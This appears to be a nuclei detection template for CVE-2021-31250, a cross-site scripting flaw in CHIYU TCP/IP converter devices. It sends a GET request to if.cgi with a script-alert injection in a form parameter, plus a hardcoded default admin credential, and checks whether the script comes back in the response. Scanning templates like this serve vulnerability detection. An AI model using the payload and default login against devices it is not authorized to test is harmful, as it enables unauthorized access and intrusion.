nuclei-templates/cves/2021/CVE-2021-31250.yaml

40 lines
1.4 KiB
YAML

id: CVE-2021-31250
info:
name: CHIYU TCP/IP Converter - Cross-Site Scripting
author: geeknik
severity: medium
description: CHIYU BF-430, BF-431 and BF-450M TCP/IP Converter devices contain a cross-site scripting vulnerability due to a lack of sanitization of the input on the components man.cgi, if.cgi, dhcpc.cgi, and ppp.cgi.
reference:
- https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31250
- https://www.chiyu-tech.com/msg/message-Firmware-update-87.htm
- https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
- https://nvd.nist.gov/vuln/detail/CVE-2021-31250
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2021-31250
cwe-id: CWE-79
tags: cve,cve2021,chiyu,xss,iot
requests:
- method: GET
path:
- "{{BaseURL}}/if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28{{randstr}}%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY"
headers:
Authorization: "Basic OmFkbWlu"
host-redirects: true
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
part: body
words:
- "\"><script>alert({{randstr}})</script>"
# Enhanced by mp on 2022/08/28